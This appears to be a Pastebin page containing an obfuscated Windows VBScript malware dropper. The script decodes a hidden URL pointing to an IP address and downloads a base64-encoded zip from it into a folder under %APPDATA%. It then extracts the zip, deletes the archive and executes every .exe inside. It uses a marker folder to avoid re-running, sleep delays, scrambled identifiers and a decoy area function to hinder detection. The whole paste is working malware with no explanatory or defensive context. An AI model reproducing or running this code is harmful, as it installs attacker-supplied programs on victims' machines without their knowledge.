pastebin

Paste Search Dynamic
testgrellal
  1. Option Explicit
  2. dim D7v,Y9l,W3o
  3. function DCcefhjjkmmnpprsuuwxxzAACEEFHJJKMMOPPRSSUWXXZbbceefhjjkmm()
  4. Dim ClqtuvxzACCDFHIIKMMNPQLM,jxtffhhikkmnppqsuu,jrtQQRTVVWYaabddew,ColtmnnprsuwxxzACEEFH
  5. Set ClqtuvxzACCDFHIIKMMNPQLM = WScript.CreateObject( "WScript.Shell" )
  6. Set jrtQQRTVVWYaabddew = CreateObject( "Scripting.FileSystemObject" )
  7. Set jxtffhhikkmnppqsuu = jrtQQRTVVWYaabddew.GetFolder(PSTLM)
  8. Set ColtmnnprsuwxxzACEEFH = jxtffhhikkmnppqsuu.Files
  9. for Each ColtmnnprsuwxxzACEEFH in ColtmnnprsuwxxzACEEFH
  10. if UCase(jrtQQRTVVWYaabddew.GetExtensionName(ColtmnnprsuwxxzACEEFH.name)) = UCase(Chr(69)) & UCase(Chr(88)) &UCase(Chr(69)) Then
  11. NMEXE = ColtmnnprsuwxxzACEEFH.Name
  12. ClqtuvxzACCDFHIIKMMNPQLM.Exec(PSTLM & UCase(Chr(92)) & ColtmnnprsuwxxzACEEFH.Name)
  13. WScript.Sleep 100
  14. End if
  15. Next
  16. End function
  17. function GTEK( myPassPhrase )
  18.     Dim i, arrCode( )
  19.     ReDim arrCode( Len( myPassPhrase ) - 1 )
  20.     for i = 0 To UBound( arrCode )
  21.         arrCode(i) = Asc( Mid( myPassPhrase, i + 1, 1 ) )
  22.     Next
  23.     GTEK = arrCode
  24. End function
  25. function Jkdkdkd(G1g)
  26.        for D7v = 1 To Len(G1g)
  27.          Y9l = Mid(G1g, D7v, 1)
  28.          Y9l = Chr(Asc(Y9l)+ 10)
  29.          W3o = W3o + Y9l
  30.        Next
  31.        Jkdkdkd = W3o
  32. End function
  33. function tOvxxzACDDFHHIK( myFileIn, myFileOut, arrCode )
  34.     Dim i, jrtQQRTVVWYaabdde, ColtmnnprsuwxxzACEEFHIn, ColtmnnprsuwxxzACEEFHOut, objStreamIn
  35.     const ForAppending       =  8
  36.     const ForReading         =  1
  37.     const ForWriting         =  2
  38.     const TristateFalse      =  0
  39.     const TristateMixed      = -2
  40.     const TristateTrue       = -1
  41.     const TristateUseDefault = -2
  42.     On Error Resume Next
  43.     if Not IsArray( arrCode ) Then
  44.         arrCode = Array( arrCode )
  45.     End if
  46.     for i = 0 To UBound( arrCode )
  47.         if Not IsNumeric( arrCode(i) ) Then
  48.             Encode = 1032
  49.             Exit function
  50.         End if
  51.         if arrCode(i) < 0 Or arrCode(i) > 255 Then
  52.             Encode = 1031
  53.             Exit function
  54.         End if
  55.     Next
  56.     Set jrtQQRTVVWYaabdde = CreateObject( "Scripting.FileSystemObject" )
  57.     if jrtQQRTVVWYaabdde.FileExists( myFileIn ) Then
  58.         Set ColtmnnprsuwxxzACEEFHIn   = jrtQQRTVVWYaabdde.GetFile( myFileIn )
  59.         Set objStreamIn = ColtmnnprsuwxxzACEEFHIn.OpenAsTextStream( ForReading, TriStateFalse )
  60.     else        
  61.         Encode = 53      
  62.         objStreamIn.Close
  63.         Set objStreamIn = Nothing
  64.         Set ColtmnnprsuwxxzACEEFHIn   = Nothing
  65.         Set jrtQQRTVVWYaabdde      = Nothing    
  66.         Exit function
  67.     End if  
  68.     if jrtQQRTVVWYaabdde.FileExists( myFileOut ) Then        
  69.         Encode = 58
  70.         objStreamIn.Close
  71.         Set objStreamIn = Nothing
  72.         Set ColtmnnprsuwxxzACEEFHIn   = Nothing
  73.         Set jrtQQRTVVWYaabdde      = Nothing
  74.         Exit function
  75.     else
  76.         Set ColtmnnprsuwxxzACEEFHOut = jrtQQRTVVWYaabdde.CreateTextFile( myFileOut, true, false )
  77.     End if    
  78.     i = 0
  79.     do Until objStreamIn.AtEndOfStream
  80.         i = ( i + 1 ) \ ( UBound( arrCode ) + 1 )
  81.         ColtmnnprsuwxxzACEEFHOut.Write Chr( Asc( objStreamIn.Read( 1 ) ) Xor arrCode(i) )
  82.     Loop  
  83.     ColtmnnprsuwxxzACEEFHOut.Close
  84.     objStreamIn.Close
  85.     Set objStreamIn = Nothing
  86.     Set ColtmnnprsuwxxzACEEFHIn   = Nothing
  87.     Set ColtmnnprsuwxxzACEEFHOut  = Nothing
  88.     Set jrtQQRTVVWYaabdde      = Nothing    
  89.     Encode = Err.Number
  90.     Err.Clear
  91.     On Error goto 0
  92. End function
  93. function EEGGHJJLMOQQRTTUWWYZbbdeegiijlmmoqqrttvwwyzBBDEEGIIJLLNOQQRTTVWWYaabdeegiijllnooqs()
  94. dim mqXFFRJUWm
  95. Set mqXFFRJUWm = CreateObject("Scripting.FileSystemObject")
  96. if (mqXFFRJUWm.FolderExists((PSTLM) )) Then
  97. WScript.Quit()
  98. End if
  99. End function
  100. DIM DZIP,N_VR,CLK,OQQRTVWWYabbdeegijjlnnoqq,OBJFHHIKKLNNPQSSUVVXYa,STPASTALOKA,PSTLM,NMEXE,objFeSO
  101. DZIP     = Jkdkdkd("^jjf0%%+($'-'$').$')/%=HcWij[hb_Y)$_ie")
  102. Set OBJFHHIKKLNNPQSSUVVXYa = CreateObject( "WScript.Shell" )    
  103. OQQRTVWWYabbdeegijjlnnoqq = OBJFHHIKKLNNPQSSUVVXYa.ExpandEnvironmentStrings(StrReverse("%ATADPPA%"))
  104. N_VR = "A99449C3092CE70964CE715CF7BB75B.zip"
  105. WScript.Sleep 100
  106. PSTLM = OQQRTVWWYabbdeegijjlnnoqq + "\misgrintel"
  107. EEGGHJJLMOQQRTTUWWYZbbdeegiijlmmoqqrttvwwyzBBDEEGIIJLLNOQQRTTVWWYaabdeegiijllnooqs
  108. STPASTALOKA = PSTLM
  109. WScript.Sleep 100
  110. TEMMORRE
  111. WScript.Sleep 100
  112. DVABDDGIKKLNOQQSTVVXYYabddACDDFHIIKMMNPPQSU
  113. WScript.Sleep 32303
  114. XCiklnnpqssuvvxyyACDDFHHIKKLNNPQSSUVV
  115. WScript.Sleep 32210
  116. DCWXZZbceeghjjlmmopprttuwwyzBBCEEGHHJLMMOQQ
  117. WScript.Sleep 2424
  118. DCcefhjjkmmnpprsuuwxxzAACEEFHJJKMMOPPRSSUWXXZbbceefhjjkmm
  119. WScript.Sleep 124
  120.  
  121. function TEMMORRE()
  122. SET objFeSO = CREATEOBJECT("Scripting.FileSystemObject")
  123. if objFeSO.FolderExists(OQQRTVWWYabbdeegijjlnnoqq + "\JUNKERDAT") = true THEN WScript.Quit() END if
  124. if objFeSO.FolderExists(STPASTALOKA) = false THEN
  125. objFeSO.CreateFolder STPASTALOKA
  126. objFeSO.CreateFolder OBJFHHIKKLNNPQSSUVVXYa.ExpandEnvironmentStrings(StrReverse("%ATADPPA%")) + "\JUNKERDAT"
  127. END if
  128. End function
  129. function CalculateArea(Radius)
  130.     CalculateArea = Radius * Radius * 3.14159
  131. End function
  132. function XCiklnnpqssuvvxyyACDDFHHIKKLNNPQSSUVV()
  133. DIM ClqtuvxzACCDFHIIKMMNPQ,FilesInZip
  134. set ClqtuvxzACCDFHIIKMMNPQ = CreateObject("Shell.Application")
  135. set FilesInZip=ClqtuvxzACCDFHIIKMMNPQ.NameSpace(PSTLM & UCase(Chr(92)) & N_VR).items
  136. ClqtuvxzACCDFHIIKMMNPQ.NameSpace(PSTLM & UCase(Chr(92))).CopyHere(FilesInZip), UCase(Chr(52))
  137. Set ClqtuvxzACCDFHIIKMMNPQ = Nothing
  138. End function
  139. function DCWXZZbceeghjjlmmopprttuwwyzBBCEEGHHJLMMOQQ()
  140. DIM jrtQQRTVVWYaabddexsd
  141. Set jrtQQRTVVWYaabddexsd = Createobject("Scripting.FileSystemObject")
  142. jrtQQRTVVWYaabddexsd.DeleteFile PSTLM & UCase(Chr(92)) & N_VR
  143. End function
  144. function DVABDDGIKKLNOQQSTVVXYYabddACDDFHIIKMMNPPQSU()
  145. DIM req
  146. Set req = CreateObject("Msxml2.XMLHttp.6.0")
  147. req.open "GET", DZIP, false
  148. req.send
  149. if req.Status = 200 Then
  150.  Dim oNode, BinaryStream
  151. const adTypeBinary = 1
  152. const adSaveCreateOverWrite = 2
  153. Set oNode = CreateObject("Msxml2.DOMDocument.3.0").CreateElement("base64")
  154. oNode.dataType = "bin.base64"
  155. oNode.text = req.responseText
  156. Set BinaryStream = CreateObject("ADODB.Stream")
  157. BinaryStream.Type = adTypeBinary
  158. BinaryStream.Open
  159. BinaryStream.Write oNode.nodeTypedValue
  160. BinaryStream.SaveToFile PSTLM & UCase(Chr(92)) & N_VR, adSaveCreateOverWrite
  161. End if
  162. End function
Parsed in 0.040 seconds